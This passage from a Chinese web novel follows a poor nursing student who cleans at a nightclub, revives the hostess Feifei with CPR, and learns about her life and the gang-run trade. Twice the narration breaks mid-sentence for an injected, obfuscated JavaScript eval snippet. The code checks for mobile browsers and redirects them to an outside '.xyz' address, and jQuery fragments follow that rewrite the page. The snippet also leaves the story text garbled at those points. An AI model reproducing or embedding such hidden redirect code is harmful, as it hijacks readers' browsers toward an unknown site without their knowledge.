“是呢,这俩娃,父母都是军人转业,又下了岗,暂时没钱吃饭,赚点饭钱。咱们不是缺扫地和洗碗的嘛,钱呢,按咱们说好的,郭哥您也不用看我面子,这俩能使唤就使唤,使唤不来就打发走。我欠她们长辈一个人情,介绍完也就还清了。人嘛,今天晚上您先用着,干不好您跟我说,今晚上我掏钱给她们,啊。” 郭哥眯起眼睛审视红梅和陈晓晓,陈晓晓急忙开口:“郭哥,我们有什么地方做得不好,您尽管指教。” 红梅不知道说什么才不算错,于是一个劲点头。 “哟,挺机灵的。”郭哥赞赏地看看陈晓晓,“那你今天晚上去后厨吧,帮厨房洗盘子、杯子,手里小心着点,都是定制品,打碎任何一个你今天晚上白干。” “谢谢郭哥。”陈晓晓连连鞠躬,搓手道。 红梅犹自木着。 郭哥看了蹙眉道:“至于后面那哑巴啊,也有你能干的事儿:今天你就去收拾垃圾桶,不管是场子里的,还是厕所的,每个小时清理一遍。保证地面儿没脏东西,别扰了来宾性质,不该看的别看,不该听的别听,没指名道姓叫你就别吭声,像你现在这样就成。明白我意思吗?” 红梅点头:“我一定打扫干净。” “郭哥我就去前台了,有大老板叫我。你俩机灵着点啊。”严厉嘱咐完二人,菲菲便离开房间,身姿袅袅婷婷。 “这真要开张得卖多少钱啊。”郭哥看着菲菲背影咂嘴,对二人道,“走吧?领你们去干活的地方。” 后厨离酒仓库不远,郭哥把陈晓晓指给一个厨师,就领着红梅出去,边走边说:“咱夜总会高档着呢,随便一个卡座消费都得一百起。明白啥意思吗?你就好好清理垃圾桶,把酒瓶跟别的垃圾分开,酒瓶收拾干净堆在后门边上,垃圾再扔到垃圾场。她那是累活,你这就是脏活。要是在厕所垃圾桶里看见避孕套,别大惊小怪。当自己是空气,只认识垃圾桶,别的啥也别惦记,明白了吗?” “明白。”红梅一口应承下来。 郭哥带红梅认垃圾桶位置:舞池旁边、卡座附近、厕所里。红梅一一记下,郭哥就叫她去弄湿抹布,跪下用手擦舞台,擦完打蜡。 木地板好容易擦完,时间来不及打蜡,红梅就着重处理了聚光灯聚焦的那一块。擦完她退至阴影里,避开着装跟菲菲一样时髦的女郎,悄悄打量着两层楼体:夜总会开门在即,灯光打在水晶装饰上,映着四周五彩斑斓,假花缠绕在任何柱体上,墙面满是金灿灿的装饰物,卡座里满是沙发和各式各样的美酒。 菲菲就穿梭在其中,数着酒瓶,跟侍应生说着什么。 察觉到视线,菲菲看了一眼红梅,红梅笑一笑,就转头离开了。藏在更深的阴影里。 要赚钱、不惹事、当自己是空气。这是很好遵守的生存规则。 晚上九点,规则正式生效。 看似空旷的场所很快被各式人填满,顾客毫不意外,几乎都是男人。他们将侍应生当作工具,呼之则来,挥之则去。舞台上有舞女伴着不知名的西洋乐展示身姿,昂贵的酒瓶木塞像鞭炮,四面八方清脆地响;兴致来了,可以买卖的女人近在咫尺,约到包厢继续谈风饮月,不讲究的,在厕所,在过道,在后门小巷,随处都是他们纵情消费的地方。 没用几个小时,红梅就摸清了这种地方的规矩,躲在暗处听那些让人想入非非的声音,处理那些尽欢的垃圾。 此身之外尽是声色犬马,她却感到十分悲凉,不知怎的。 她第三轮把酒瓶从残羹剩饭、呕吐物、奇怪的粘液里分离出来,清洗过后整整齐齐码在后墙。四下无人,看着那些瓶子,她无端地叹了口气。 “小姑娘家家,你有什么可叹气的?” 声音自黑暗里传出,红梅吓一跳,却看到拐角处一点星火,和含着这根烟的主人:菲菲。她慵懒地倚着墙,猛抽一口,又咳嗽连连,直不起腰。 引得红梅靠近顺她的脊背,闻到一股酒气,满手嶙峋的骨头。 她这才看到,菲菲身后一滩糊糊,大概是呕吐物。 不领红梅的好意,菲菲打开她的手,背部靠在泥泞油垢的墙上,继续抽烟,继续咳嗽。 红梅忍不住劝告:“少抽点,多喝水,应该能缓解一点吧。” “你还没回答我,你个小姑娘,见到什么了,你有什么可叹气的?” 不同于前门金碧辉煌,后门有的只是苍蝇、脏污和一根电线吊着的泛黄灯泡,塑料皮还龟裂着,内里的铁丝纤细得像随时要断掉。 红梅看着介绍工作的恩人,低下头,不知道该用什么措辞回答这个疑问,却不经意看到自己的衣服脏了。她下意识抬起衣袖,混杂着她一夜工作过程的酸臭,气味刺激得鼻腔紧缩。 “哦,原来是在挑工作。”菲菲酒劲上头,言辞刻薄,“怎么办呢,晓晓在家十指不沾阳春水,到这来洗一夜盘子;不如她的你,连盘子都洗不上,只能打扫厕所。要想在社会上赚钱,就得跪着,被人拿捏。头一回跪,不适应的话,你可以走。” 红梅卷起衣袖,让胳膊袒在外头,笑着摇摇头:“我可以适应,因为我需要钱。” “那你叹什么气?” “我只是觉得……里面的姐姐们,可怜。” “可怜?她们一晚上赚一百块,够你洗半年盘子了。你不同情你自己,同情赚得比你多的。你疯了?” “赚钱很好,这是工作的价值。但是……她们看起来并不快乐。” 菲菲笑,半支烟从嘴巴滑落,手也没有拿住,就那么掉在地上,时明时灭。她笑得前俯后仰,直扶墙。 “你笑什么?”红梅问。 “虽然是大学生,却是个不会看眼色、没断奶的孩子。”菲菲乐道。 “不,我已经不是孩子了。”红梅诚恳地说。 菲菲打量红梅半晌,什么也没说,走进后门,红梅随后跟进去,还想解释什么,被怒气冲冲赶来的郭哥一把揪住:“男厕所的垃圾怎么没收拾?全满了,我没说男厕所要收拾你就不干了?看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004303|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着木不愣登的柴火棍,挺会偷懒耍滑头啊你?” “对不起,我刚洗完酒瓶,这就过去。” 郭哥这才放开她,红梅扭头看去,菲菲身姿隐没在沿途的暗淡里,早已不知所踪。 是夜,她清理垃圾到精疲力尽,一直到凌晨五点打烊,最后一个顾客离场。她被郭哥指着到处收拾桌面,最后一袋垃圾倒完,才跟后厨工作一夜的陈晓晓见面。 厨房里只有陈晓晓一人,原本白皙的手在冷水里泡了一夜,皮肤泡得凹凸不平,冻得通红。但她还是好过红梅,红梅全身臭味,已经完全不能靠近人了。 她们只能以目视意,互相笑笑,等待检阅。 菲菲拎着一包东西,在走廊里和郭哥勾肩搭背:“辛苦了郭哥,这一晚上折腾的。” “哪有菲菲你能赚啊,瞧瞧后门那,可比前几天多赚不少呢。” “诶呀,都是辛苦钱。这俩娃能用吗,不能用我打发走了。” “还成吧。明儿打扫包间的就上班了,最近台佬讲究多,吃得多,盘子不够用的,她俩就固定后厨洗锅吧。不想干了跟我提前说,我再去找人。” “好嘞。您早点歇着。” 最后的客套结束,菲菲把郭哥送走,才堪堪返回后厨。一夜过去,疲倦难掩,她打个哈欠,慢慢悠悠点上一支烟,抽了几口,这才转向二人,从兜里掏出两张两元。手夹在半空,等着她们接。 陈晓晓大喜过望,从菲菲手里接过钱,连连鞠躬:“谢谢菲菲姐!” 菲菲点点头,目光移向红梅,红梅这才学着陈晓晓鞠躬问候道:“谢谢菲菲姐!” “诶哟,这一晚上长进不少啊,大学生。” 菲菲调侃着,将手里的一大包丢给红梅。 红梅赶忙接住,只听菲菲说:“不是扔了一晚上垃圾,临走把这也扔了吧。” “好。”红梅答应着。 菲菲睨她一眼,抽着烟,将二人带到后门,便关上大门。 可以回宿舍了。 陈晓晓将四块钱交给红梅:“先还你两块。” 红梅收好:“垃圾场离这不远,我们扔了垃圾就走。” “你不打开看看,万一有什么能用到的?” “呃……这样不好吧……” “菲菲姐不用的东西,不一定是垃圾。” 被陈晓晓催促着,红梅将包裹打开,才发现里面尽是衣服,尽管皱巴,却干净,不是崭新,却远比红梅身上的好得多。仔细数数,上衣裤子居然够两身,在空气中抖开,还能闻到洗衣粉的清香。 “应该是菲菲姐看你衣服脏了,给你的吧。”陈晓晓说。 “这得多少钱啊……我,我还钱给她吧?”红梅将包裹原样打好,犹疑着。 “菲菲姐多能赚,她裙子老多了,你就拿着吧。”陈晓晓宽慰同伴,连连打哈欠,“我们回去吃点东西就补觉吧,晚上还得过来干一晚上。你是不知道,昨天我洗了多少盘子,我数到一百之后就放弃计算了……” 红梅抱着新衣服,跟陈晓晓走回学校的方向。 清晨五点,路上有带着红袖标的环卫工人,有鸟鸣和骑着自行车的行人,有叶子带着新鲜露水的卖菜小摊。崭新的空气拂面而来,十字路口她忽然回头看,那栋二层小洋楼,已经看不到了。 唯有怀里抱着的包裹,散发着清香。 12. 姓名 红梅回到宿舍,把自己打扫干净,又洗了衣服,合眼就睡得不省人事。半梦半醒间,她被什么人摇醒,她睁开眼,模糊地看清,原来是谢芳。 “早上好。”红梅咕哝道。 “都快两点啦,你这午觉睡得呀。”谢芳坐在床边看着她。 红梅没有反驳好友,她翻个身,看到应晚桌面的闹钟,指向了下午两时。此时室友都不在,她下意识看向陈晓晓的床铺。 同样是将近六点入睡,不知对方何时起的床。她尤自迷瞪,靠在床柱旁恢复意识,听到好友说:“下午有事吗?” 打工需要八点到位,红梅回答:“没事,怎么啦?” “有一批医学教具三点到,需要搬到教学楼里,还有几个要送去咱们的附属医院。你愿意跟我一起去送送吗?跑腿的时候顺便可以学习。” 红梅答应了,只因为这是好友的请求。对能学到什么,她并没报太大期望。 二人实验楼,将满拖车的木箱用小车运进大教室,等到木箱拆卸的时候,她才猛然明白谢芳说的学习是指什么——箱子里都是大大小小的容器,容器里是被福尔马林浸泡着的,各种人体器官的实物。 她们听老师指挥,将容器们放在指定位置。除了器官,还有真实的人体骨骼。红梅震撼得说不出话,谢芳跟实验室老师央求几分钟,再三保证教具的安全,她们就得到了在这里观察二十分钟,再去附属医院送新试剂样品的许可。 “临床医学和护理都会上解剖课,但护理不会跟临床一样进入动手解剖环节。也是刚巧,这批新教具过来,我们可以先看看。”谢芳指着满屋子教学用具,“这些器官、骨骼都是标本,来自大体老师们。你知道大体老师吧?” “生前自愿捐献身体,用于医学研究的人们。”红梅回答着标准答案。 “我们国家的传统是入土为安。却有这样超越传统观念的,为了培养医生,期待他们拯救活着的人的生命,而让出自己的身体、器官去做实验的人们。他们很伟大,是吧?”谢芳双手合十,对满屋子的老师们说,“谢谢,我一定会努力成为好医生的,不辜负你们的期待。” 红梅跟好友一起闭上眼睛,默默感谢。 “下周会有新的大体老师来,我想在上大体解剖课前准备充足一点。”谢芳跟好友倾诉着,“动刀的位置更准确一点,缝合的时候更好看一点。认一下器官和切面,知识充分地……” “我有预感,你的成绩会是第一。” “成绩不要紧,要紧的是时刻提醒自己,我现在学到的东西,将来都是为了救人的。我多学一点,他们得到满分治疗的可能性就多一点,恢复健康就更快一点。” 于是二人在每个器官面前,向对方讲自己学到的知识,对认知不足的部分做补完。谢芳始终是知道更多的那个,红梅一边认真听讲,一边为好友感到骄傲。 谢芳一定会成为最好的医生的,她相信着。 二十分钟太短,实验老师准时回来,二人依依不舍地离开解剖室,去附属医院送试剂。 医院离医学院并不远,作为较早建立的公共设施,需要穿过火车站、人民广场、公园,再经过一段热闹的商业街,就能够抵达。这是红梅第一次见到将来要工作的地方,她小心打量着,问诊处、挂号台、收费处的位置记在脑海,门诊部、急诊室、住院部也记在心头。 此行的终点是医院实验室,谢芳将红梅带进门里,原本在观察显微镜的女医生见到谢芳,立刻停下手里的工作,笑容绽开:“芳芳怎么来啦?” “吴医生,芳芳来给你送试剂啦。” “你看你,欠打,叫谁吴医生呢。” “敬业的吴医生两天没回家了,哪记得女儿呢。”谢芳对女医生做个鬼脸,转头向红梅介绍,“这是我妈,吴莲医生,妇产科的扛把子,级别是主任医生。这是红梅,我跟你说的,我新交的好朋友。我们经常一起学习。” “吴、吴……”红梅一时不知道该称呼对方为医生、阿姨,还是老师,吴了半天。 吴莲十分体贴地接过话茬:“叫阿姨就行。我老从芳芳嘴里听说你,学习刻苦,这还是第一次见面。家里情况还好吗?在学校还适应吗?” 吴莲和谢芳一样好,红梅笑起来:“家里还是老样子,过了年关,明年应该就好了。在学校就是学习嘛,多亏谢芳帮忙,学习没那么吃力了。” 吴莲牵起红梅的手,骨节分明的胳膊上附着一层薄薄的皮。她无不爱怜地说:“你一个小姑娘家家,看你瘦得,跟院里刚出生的孩子似的。有什么困难尽管说,要好好吃饭,长点肉啊。” “学校和谢芳关照我已经很多啦,我都不知道要怎么回报了。”红梅不好意思道。 “没事的。”吴莲抚摸着红梅的头发,微笑道。 实验室门突然被推开,走进一个精神矍铄的男人,他的视线在红梅身上停留一会儿,转对吴莲道:“还没观察完?通宵了一夜,你该休息了。” “有初步结论了,跟家属说完就回家休息。”吴莲转头跟红梅介绍,“这是你们谢校长。” “校长好。”红梅忙不迭打招呼。 “嗯。”谢诚居高临下审视着她,半晌道,“刘红梅?” “对。”红梅呆呆应着。 “爸爸,你看你的脸,板得好吓人。”谢芳扑到谢诚身上,向父亲讨个拥抱。 抱住女儿,谢诚表情才有所缓和:“院里刚开完一上午会,你妈妈做手术通宵到现在没吃饭,就像自己没胃病似的,你还在这捣蛋。我可听到了,你又找实验室老师开后门,偷偷泡在解剖室看标本?” “学习的事情,怎么能叫偷看。我是光明正大地看,将来我也要做主任医师,接妈妈班的。”谢芳理直气壮道。 一家人都笑起来,红梅看着,心里满是羡慕。 尽管她说不出在羡慕什么。 试剂送到了,红梅和谢芳跟父母分别,她们踏上返回学校的路。 “我爸爸妈妈都是很好的医生,不过他们太忙了。”谢芳对好友感慨道,“我也经常得在医院才能找到他们。” “你们家真好。”红梅真诚称赞道。 谢芳耸肩,转而说:“晚上你应该没事吧?我带你在城里到处走走,然后去我家吃饭,住一晚?” 昨天才通过打工的面试,想到四块钱都是菲菲自掏腰包,欠陌生人人情,也不好让陈晓晓一个人去那样的地方,红梅婉言谢绝:“其实我找到了周末晚上能打工的地方,所以……” 谢芳极快反应过来:“所以我去找你的时候,你是在补觉,而不是睡午觉吗?” “是的。工作时间是晚上9点到第二天5点,在一个饭店,做打扫卫生洗盘子的工作。不耽误上学,所以我……” “没关系。只是我本来想给你一个惊喜的:我在一家旧货市场看到了一个二手录音机,外表破旧了,但功能没问题。只需要四块钱,我就把它买下来了,在我家放着。现在没有惊喜了,那我明天送到你宿舍吧。” “这怎么好意思,我……” “我们是好朋友啊。” 谢芳坚决不收红梅的钱,让红梅攒下来,多吃肉。红梅除了感谢,已经说不出更多,于是二人回到学校,在宿舍楼分别。 离打工时间还有空档,红梅将菲菲给的衣服改成合适自己的尺寸,夜晚悄然降落,陈晓晓和红梅便踏上打工的路。 后厨洗盘子的工作并不比打扫垃圾简单多少,手长久泡在冷水中,为了将油渍清理干净,往往要经过四遍淘洗才能过关。二人肩负起百人用量的餐具,一夜过去,筋疲力尽,收到郭哥给的钱,然后在清晨踏上回宿舍的道路。 日复一日,红梅就过上了学习、打工都不误的生活。在谢芳送的录音机帮助下,红梅也逐步能够开口讲英语,期中考试也满分通过。红梅将这一喜讯写信告诉父母,不久后也从刘勇处得到一个电话号码:村子里的人都已回到村落,预备来年农忙,村长也在家里安装了一部电话,以后就可以通过电话与不识字的父母联络了。 进入12月,红梅攒下一些钱,在朋友监督下增重,积攒来年的学费。陈晓晓的债务也日渐趋少,一切都在往好的方向发展,除了红梅再也没见过菲菲第二面。 想起菲菲纯属偶然:入冬天气渐冷,红梅在市场购买毛线,想要织围巾送人。估量送礼对象的时候,她忽然想起菲菲。没有菲菲的担保,就没有她和陈晓晓打工的机会。夜总会就这么大,她和陈晓晓恪守菲菲的规矩,不去前台,就没有麻 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在她们有任何行动之前,走廊里忽然乌泱泱走过几个男人。他们似乎抬着什么,步履凌乱。后门发出巨大的金属轰鸣,什么东西被扔了出去,砸倒了满地酒瓶,叮铃桄榔。而后男人们再次通过走廊,消失在了前台的方向。 “怎么办?”陈晓晓问。 红梅当机立断,在仓库找来纸箱碎片和郭哥留下的圆珠笔,写下请假条,压在碗下,为她们离开留下正当的借口。趁走廊无人经过,红梅拉着陈晓晓,大气不出,蹑手蹑脚,向后门逃去。 关上后门,她们才敢大口呼吸。 但这放松超不过一秒,陈晓晓猛地捂住嘴,指着不远处的地上:“红梅!” 红梅转过身,就看到一个人侧躺在地上,时髦的连衣裙撕裂成片,在满地酒瓶渣和经年累月的污垢中,绽成一朵花的形状。后门灯泡晃荡着,时明时灭,在光区摇摆中她忽然认出那个人的脸。 “……菲菲姐?”红梅靠近对方,越发确定了起来,再次呼唤对方,“菲菲姐?” 菲菲完全没有回应她。 红梅手指触碰到她的手,冰冷得不像话。她突然意识到不对劲,将手指探到菲菲鼻子下面:没有任何气流通过的触感。凭着护士的职业反应,红梅下意识将手探到菲菲颈动脉的位置,那里同样没有任何反应。 红梅脑子登时嗡嗡作响。 陈晓晓被红梅的反应吓住了:“怎么了,红梅,菲菲姐她……她……” 红梅说不出任何话,她迅速将菲菲身体摆正,就着灯光看到菲菲嘴边的白沫,再次掀开她的眼皮:瞳孔正常,但有散开的趋势。 还有救。 红梅迅速解开菲菲的衣扣,将肺部袒出,嘴里迅速说着:“晓晓,去叫人。不要找夜总会的人,去看看周围有没有别的人,如果没有,你就去医院叫人,要么别一个人回来,要么别回来。” “那你呢?” 红梅打开菲菲的口腔掏呕吐物:“菲菲姐对你是还人情,对我是有恩。不管怎么样我都得救她,我会负责的。你快走。” 没时间再解释,腾开一条呼吸的通道,红梅立刻按压着菲菲的胸口,三十下一次人工呼吸。她精神高度紧绷,没有了时间概念。口腔尽是呕吐物的味道,但顾不及这些。她不敢停,按压到胳膊酸痛,在天寒地冻的后巷,成为一个意识只有救人的机器。 终于,她按压的人猛地呕出又一摊东西,红梅将那些东西迅速掏干净,继续无意识地按压。直到躺着的人主动睁开眼睛,慢慢聚焦,注视着她,红梅才终于停下。 “菲菲姐,你能听见我说话吗?菲菲姐?” 躺着的人用嘴呼吸着,许久,才有气无力地,用鼻腔答了句:“嗯。” 红梅眼里涌出泪,大朵大朵掉在地上。她一刻不停地叫着菲菲,生怕她不再回答那样。 被惨叫许久,菲菲终于开口说了句话:“邬眉。” “你说什么?” “菲菲是……花名……我的名字是……邬眉。” 她缓缓从地上坐起来,红梅将她扶进怀里。两个女人互相依偎,倾听着彼此的呼吸。 天边降下第一片雪花,落在地上,成为一摊阴影。 13. 居所 等到邬眉恢复力气,她将红梅带到自己家。 那是一个距离夜总会并不远的平房社区,邬眉租住一个大合院中的一间。 一路上,高墙红砖隔绝光线,灯火零星挂在路边,邬眉轻车熟路,红梅亦步亦趋,还要躲避墙根的大小便和臭水滩。邻居家早早入睡,院子也没了灯光,就着苍白月色邬眉摸索许久,才把红梅请进房间。 伴随室内灯光开启,邬眉对红梅说:“随便坐。”又回院子水池旁,拧开水龙头,小声洗脸漱口。 红梅看着她洗完,带着一身寒意向她走来,才跟着邬眉进了门,落了锁。 邬眉的房间很小,单人床占据一角,折叠桌椅挤在门口,靠墙的衣柜却比床都要宽,连衣裙五颜六色地冒尖。她用冷水洗完的脸在昏黄灯泡下白如床单,寻来毛巾粗鲁地呼噜两下,便筋疲力尽地倒在床上。 她不作声,红梅便也不作声。等邬眉躺好,又给她摆正姿势,将被子严严实实掖在脖颈间。 邬眉闭着眼,却笑出声。 “还有哪里不舒服吗?” 红梅问着,把手覆在邬眉额头,比对自己的,似乎有点烧;又俯下身,将额头相抵,才确定,对方似乎真的在发烧。 她左看右看,试图找点药来,却只能看到那衣柜大大喇喇倨在当中,像邬眉的生活里只有衣服似的。 于是她不得不问:“你发烧了,家里有退烧药吗。” 邬眉闭着眼,笑盈盈地,酒气从嘴里传来:“你像我妈。” “没有的话,酒精也行。” “我嘴里。哈——” 邬眉对红梅哈气,酸味酒味并着寒意,让红梅忍不住掐住她鼻孔迫使她闭嘴。邬眉这才睁开眼,皮像个孩子:“没有。” 红梅收回手:“这个也没有的话,盆呢?” “不用麻烦,我睡一觉就好。在我睡着之前,跟我聊聊。” 她往床里使劲挪了挪,留出一人大的空隙,自己紧贴墙,也被棉被柔软地包裹着。 红梅这才坐在床边:“聊什么?” “什么都行,随便说说。你就没什么想问的吗?” 红梅看看她,又看看她的房子,许久才说:“每个人都有自己的难处,我不会问。但如果你愿意说,我可以听。我会保密。” 一时间,房间里静得只有她们的呼吸。 “你确实不是个孩子,你很聪明。” 邬眉说完,又是一阵沉默。 红梅揣着手,突然想起来:“今天没带围巾。现在知道你住这,晚上打工之前,我给你送来吧。” “什么围巾?” 提到这个红梅非常得意:“省城冬天跟我家不一样,老刮风。原本我想去买条围巾,要两块钱呢,太贵了。就买了两块钱的线,够我织三条。很省钱吧?” 邬眉一时无言:“你每天洗盘子也能赚两块,省那个钱干什么?” “第一次见面,你把我和晓晓介绍给郭哥,你说的情况,应该是晓晓家里的情况。我不知道晓晓是怎么跟你说我的。 “我父母务农,收入一年到头也就是两百左右,交完税,买来年的种子,喂喂自家吃的牲畜,就剩不了多少了。即使这样,也不是每年都有这个收入,今年就遭了蝗灾旱灾,地里秃得什么都没剩下。 “我打工,一为伙食费,二为攒学费。只要忍过这四年,毕业包分配,还分房子。城里一年能赚四五百,等到那时候,我就能养活家了。” “你知道欧式街的商品房多少钱吗?” “不知道。” “水泥盖的小楼,两室一厅一厨一卫,一万多。买个彩电,买个电话,添添家具,两百管够。” “你赚钱是为了买房吗?那对你应该很容易吧。听郭哥说,你每个月能赚好几千呢。” “我买只要四个月。你得等四年。” “你是说花费的时间不同?但我刚刚就用知识救了你,未来,我还可以救很多人。房子是小目标,有了房子以后,我要好好工作,帮助因为各种原因生病的人回到他们的工作岗位。大家各司其职,一起建设社会,我们的未来就会变得越来越好。” 红梅兴致勃勃说着,却看到邬眉表情冷下来。她深深呼出一口气,望向红梅的表情,就恢复初见那般冷峻讥诮。 察觉到这个变化,红梅问:“怎么了。我说的哪里不对吗?” “学习让你有了成年人的技能,但你确实是个孩子没错。” “我不明白,这有什么区别?到校前我就满十八岁了。” “十八岁就不是孩子了吗?” “那什么是孩子呢?” 邬眉冷笑道:“你说你可怜那些卖身的女孩,你知道她们中有人跟你同岁吗?是她们不愿意上学,生来就喜欢以色侍人吗?第一次卖身,可以是一生里卖身的最高价,也可能根本换不来钱。你只看到钱的流动,却看不到对钱产生的根源,对表象叹一万次气,怎么听,怎么像黄鼠狼给鸡拜年。” 红梅低着头,看向自己的手。 在谢芳的监督下,它们不再像刚开学那样粗糙干燥,在甘油滋润下,变得圆润一些了。但在打工的时候,浸在一夜水中,它们还是会原形毕露。 “但这不代表我没见过苦难。当村里的女孩都被剥夺念书资格,一个个结婚,被催生儿子的时候,我不知道我是幸存者吗?得有足够好运,我才能被父资助到大学。 “所以我一直努力学习。 “别人家儿子有书念,我也有书念;别人家儿子能在城里找到工作,把全家接进城,做城里人。那我一定也可以。不然我还能怎么样呢? “有的是家里有钱、也被宠爱的女孩,她们从来都不需要为吃饭发愁,只会挑剔吃得够不够好。但那些都不是我。我只能做好自己,用余力去帮助别人罢了。” 坦诚至斯,二人再次相顾无言。 “你学费还差多少?”邬眉忽然问。 “每年需要二百四十,明年的,还不到一半。”红梅坦诚相告。 邬眉安静片刻,手指掐在眉心,声音断断续续地嘱托起来。 “夜总会大部分是□□开的,赚钱方式是卖酒、卖小姐和少爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004305|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的规矩是按照地区划片,这个帮派,那个山头的。 “今天前台出事,是因为新天地的死对头内讧,换了新东家,来砸场子。只不过是拿我做由头,想买我。老板没同意,不是因为他有多在乎我这个销售,能卖货的到处都是,只是因为他要拿我立威。剑拔弩张,差一点就要动手。 “所以我今天为了装孙子,喝了十来瓶洋酒,喝成了你看到的那样,他们才重新称兄道弟,把我扔出来了。 “之后麻烦事不会少,你和晓晓以后别来了,我再给你们找别的工作。” 居然这么凶险吗。 红梅下意识问:“那你怎么办?” 邬眉斜眼瞧她一眼:“这不是你该操心的事,你也没能力解决。” “你为什么需要钱?” “有人需要钱,我有能力挣。” “那你能换个地方工作吗?” 邬眉咧咧嘴:“不是所有工作都不需要学历,容许我工作的地方,工资也不是我想要的价格。” “你可以学嘛,什么时候都不迟。如果你需要帮助,我总能帮你想想办法的。”红梅恳切道,“我只会这个。” 邬眉静静地看着红梅,看了好一会儿。 “你回去吧,我要睡了。” 她下驱逐令,翻身,面朝墙壁。 这是拒绝沟通的意思,红梅当然知道。于是她只好再给邬眉掖掖被子,走向门口。 “我今天会把围巾带来的,你送我两身衣服,就当作是回礼吧,别客气。”临走前,红梅再次说,“记得好好吃饭。” 被窝里的人没有回答。 开关啪地停止工作,屋外的月光投在地面,在一室黑暗里照亮回程的路。 红梅关上门,就离开了。 沿着来时的路,行进在夜幕垂落的无人街头,伴着星光,红梅慢慢回到学校。 大门落着锁,值班室却有人,被唠叨好一顿,红梅仍旧进了楼门。她摸回寝室楼层,却在走廊里看到一个人蹲在阴影里,默默啜泣,瘦小的身影不住颤抖。 “……晓晓?” 陈晓晓抬起头,看到是红梅,哭腔怎么也忍不住:“对不起……我去医院,说有人意识不明,他们问我在哪,我说新天地夜总会。他们就不管了,去救另一个人了,我……” “没事。菲菲姐恢复意识了,我送她回了家,我也回来了,没事了。” “我好没用,我……” “你没事就好,真的,我和菲菲姐都会这样想的。” 在夜里,眼泪枯竭殆尽。 她们爬上床,各自入睡。 红梅把自己用棉被裹满,想起不值一提的存款,无不疲惫地合眼。 菲菲的世界,是她没去过,也无法理解的世界。菲菲艰难求生,一定有她的理由。把围巾送给菲菲,也许就是她仅能为她做的事了吧。 起码在夜晚,还有一点温暖,能护佑她回家,睡一个温暖的觉。 翌日,红梅抽空把围巾送到邬眉住所,邬眉不在,就把它放在窗台,跟邻居说过,才悄悄离开。 14. 冬梅 在那天以后,红梅再也没见过邬眉。 想来,能赚这么多的兼职,世上并不多,红梅在学校周边打听兼职的结果,让她压力格外大:周六日两天,从早上六点工作到晚上十点,只给几毛,这样的商铺比比皆是。 而时间渐渐靠近期末考试,要背的书跟半个她一样高,为了期末成绩名列前茅,拿回家给父母长脸,她不得不放弃打听,全神贯注于学业,并寄希望于邬眉能够帮她找到合适的工作地点。 所幸睁眼闭眼就是学习的日子过得非常快,在最后几门考试结束以前,她终于从陈晓晓那里得到新消息:过年期间,省城欧式街要新开一家西餐饭店,招募20岁出头、面貌清秀、身高适中的女孩做服务员。现在处于筹备阶段,每周五块薪水,而过年期间只要工作满十五天,就能够得到五十块的薪酬。 “你要去吗?”僻静处,陈晓晓问红梅,“过年不回家吗?” 到过年前还有三周,一共十五块,过年十五天,再加五十块。一共六十五块。 大一下学期再省一省,她大二的学费就不是问题了。 默默算完,红梅斩钉截铁道:“我一定去。过完年到开学前还有时间,到时候我再回家。” 陈晓晓却没回应她,兀自低着头,脚尖止不住划地。 “你不想去的话,我能理解。”红梅安抚同伴。 “我……”陈晓晓苦着脸,向红梅解释,“从菲菲姐发生那件事以后,我已经不想再去打工了。我妈妈病好了,也找到工作了,我以后能专心学习了……但是你怎么办,两个人还有照应,你一个人。” 红梅笑着说:“别担心,我又不是小孩子。不会丢的。” “不是丢不丢。太可怕了,他们。不知道什么时候,你好端端工作着就惹祸上身。没由头的!我觉得,如果你家里能拿出钱,还是别去了。不安全。” “谢谢你的好意,晓晓。但我们不一样,你不工作,还有父母,我不工作,就真的没学上了。谢谢你的好意,之后的事情,我自己做出的选择,我自己负责。” 见劝不动红梅,陈晓晓才拿出一个纸条,上面是一个电话号码:“那这个给你。打过去就说是菲菲介绍的,他们就知道了。” 红梅接过纸条,陈晓晓叹口气,二人便再没有私下会面了。而红梅打电话,对面也将面试定在某一天,那是最后一科考试结束后。红梅便继续投入到学业,对未来信心更充足一些。 过年放假,同样也成为了她与谢芳的话题。 “考完这门我就放假啦,赶在过年前先备学下学期的科目。”谢芳跟好友说着计划,“今年我一定要拿下年级第一,不为别的,为了证明我已经是一个合格的医生预备役了。” “考得早真好,我还有五科。”红梅下巴支在比手腕厚的书本之上,“我过年不回家。要跟学校怎么申请呢?” “我跟我爸说一声就行。不过,你为什么不回家呢?” 谢芳歪着脑袋,想到什么。 “如果不回家,不如你跟我一起过年好了。我妈妈前段时间救了一位难产大出血的孕妇,母子平安,她老公是铁路工作人员,为了感谢我妈妈,要送几张票给我们去海南度假。 “就是去年总理去过的海南,我们国家最南端。大海、沙滩、贝壳之类的,我爸妈都没见过,我们都好期待了。再多要一张票应该不是问题,大不了我买,我们刚好能包一个软卧车厢,多一双筷子就更不是问题了,不行我把我那份分你一半嘛。你说呢?” 只在电影里看过海,红梅还没出过省。 不如说,只去过念过书的三个城市,更别说祖国最南端的海南…… 红梅稍微想了一分钟,立刻婉言谢绝好友:“谢谢你的邀请,我没法去。我留在这是为了打工啦,如果我能好好工作到元宵节,大二的学费就不会是问题了。” “能有多少钱?” “如果从放假做到元宵节结束,六十五块。” “……”闻言谢芳一阵沉默,随即叹口气,“确实很值,是我爸妈合起来一个半月的工资。但那是海南啊……” 